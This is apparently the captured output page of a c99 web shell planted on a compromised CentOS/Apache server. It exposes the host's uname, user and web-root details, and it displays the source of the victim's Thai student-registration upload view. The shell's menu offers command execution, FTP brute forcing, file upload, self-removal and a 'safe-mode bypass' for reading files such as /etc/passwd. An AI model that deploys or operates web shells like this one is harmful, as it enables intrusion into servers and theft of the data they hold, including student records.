!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_import_std.php (3.26 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="JavaScript1.2">
function checkDocCur() {
    var docCur;

    docCur = document.getElementById('uploadfile_cur').value;

    if(docCur=="") {
        alert("กรุณาป้อนแฟ้มข้อมูลหลักสูตร!!");
        return false;
    }
}

function checkDocStd() {
    var docStd;

    docStd = document.getElementById('uploadfile_std').value;

    if(docStd=="") {
        alert("กรุณาป้อนแฟ้มข้อมูลนักศึกษา!!");
        return false;
    }
}
</script>
<table>
    <tbody>
        <tr>
            <td colspan="2"><b>1.ดาวน์โหลดแฟ้มข้อมูลหลักสูตร เพื่อกรอกข้อมูล <?php echo anchor(base_url().'uploads/esa/rg_Curriculum.csv''คลิกที่นี่');?></b></td>
        </tr>
        <tr>
            <td><b>2.อัพโหลดแฟ้มข้อมูลหลักสูตร</b></td>
            <td>
<?php
            $attributes 
= array('id' => 'myform1''name' => 'myform1');
            echo 
form_open_multipart($this->config->item('sa_folder').'eregis2esa/cur_insert'$attributes);
?>
            <input type="file" id="uploadfile_cur" name="uploadfile_cur" />
            <input type="submit" id="btnUpload" name="btnUpload" value="อัพโหลดไฟล์" onClick="return checkDocCur()" />
            <?php echo form_close();?></td>
        </tr>
        <tr>
            <td colspan="2"><b>3.ดาวน์โหลดแฟ้มข้อมูลนักศึกษา เพื่อกรอกข้อมูล <?php echo anchor(base_url().'uploads/esa/rg_Student.csv''คลิกที่นี่');?></b></td>
        </tr>
        <tr>
            <td><b>4.อัพโหลดแฟ้มข้อมูลนักศึกษา</b></td>
            <td>
<?php
            $attributes 
= array('id' => 'myform2''name' => 'myform2');
            echo 
form_open_multipart($this->config->item('sa_folder').'eregis2esa/std_insert'$attributes);
?>
            <input type="file" id="uploadfile_std" name="uploadfile_std" />
            <input type="submit" id="btnUpload" name="btnUpload" value="อัพโหลดไฟล์" onClick="return checkDocStd()" />
            <?php echo form_close();?></td>
        </tr>
    </tbody>
</table>

<p align="center"><?php echo $this->session->flashdata('msg_submit');?></p>

<!-- <table class="tb_1">
    <thead>
        <tr>
            <th>ลำดับที่</th>
            <th>รหัสนักศึกษา</th>
            <th>ชื่อ-นามสกุล</th>
        </tr>
    </thead>
    <tbody>
 --><?php
//    $attr = array('width' => '600', 'height' => '500', 'scrollbars' => 'yes', 'status' => 'yes', 'resizable' => 'yes', 'screenx' => '0', 'screeny' => '0');
//    $i = 1;
//    if(isset($rs_std) && $rs_std->num_rows()) {
//        foreach ($rs_std->result() as $row_std) {
?>
<!--         <tr class="<?php echo ($i 2) ? "light1" "light";?>">
            <td align="center"><?php echo $i;?></td>
            <td align="center"><?php echo $row_std->stdCode;?></td>
            <td><?php echo anchor_popup('esa/eregis2esa/profile/'.$row_std->stdId$row_std->prefixName.$row_std->stdName.' '.$row_std->stdSurname$attr);?></td>
        </tr>
 --><?php
//        $i++;
//        }
//    } else {
?>
<!--         <tr>
            <td colspan="3"><?php echo "แสดงข้อมูลนักศึกษาทั้งหมด";?></td>
        </tr>
 --><?php
//    }
?>
<!--     </tbody>
</table> -->

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.015 ]--